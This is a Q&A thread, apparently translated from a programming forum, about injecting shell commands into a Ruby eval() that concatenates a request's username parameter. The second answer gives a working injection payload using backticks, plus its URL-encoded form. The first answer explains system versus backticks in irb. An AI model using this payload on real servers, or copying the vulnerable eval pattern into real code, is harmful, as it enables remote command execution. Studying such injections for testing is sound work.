我试图在ruby eval()中执行代码执行,首先通过注入(“)来断开字符串。下面的代码用于注入。
myuser"%2B`[system('uname')]`%2B"
我没有收到错误但是反引号之间的命令没有执行。
我正在尝试注入下面的用户名值。
eval "\"Hello "+params['username']+"\""
答案 0 :(得分:1)
我不是百分百肯定你的用例,但我可以告诉你这些:
system
将运行shell命令,并返回成功/失败,但不会保存结果:
irb(main):001:0> x = system('uname')
Linux
=> true
irb(main):002:0> x
=> true
反引号将运行shell命令并保存输出,但不需要单词system
:
irb(main):003:0> x = `uname`
=> "Linux\n"
irb(main):004:0> x
=> "Linux\n"
(如果在反引号中包含“system”,它将在命令行上运行“system”;通常不是你想要的那样)
单独使用反引号不会在字符串中执行任何操作:
irb(main):005:0> "I am `uname`"
=> "I am `uname`"
但是它们将在双引号内用#{}
进行扩展:
irb(main):006:0> "I am #{`uname`}"
=> "I am Linux\n"
但通常最好先运行命令,检查错误,然后将其添加到字符串中,如
result = `uname`
# Check for errors here
output = "context #{result} more context"
答案 1 :(得分:0)
eval "\"Hello "+params['username']+"\""
如果这是服务器中运行的ruby代码,并且要执行代码注入,则可以使用以下有效负载。
myuser"+`uname`+"
但是,如果通过GET请求检索了用户名参数,则需要对上述有效负载进行URL编码。
URL编码后的有效载荷如下
myuser%22%2B%60uname%60%2B%22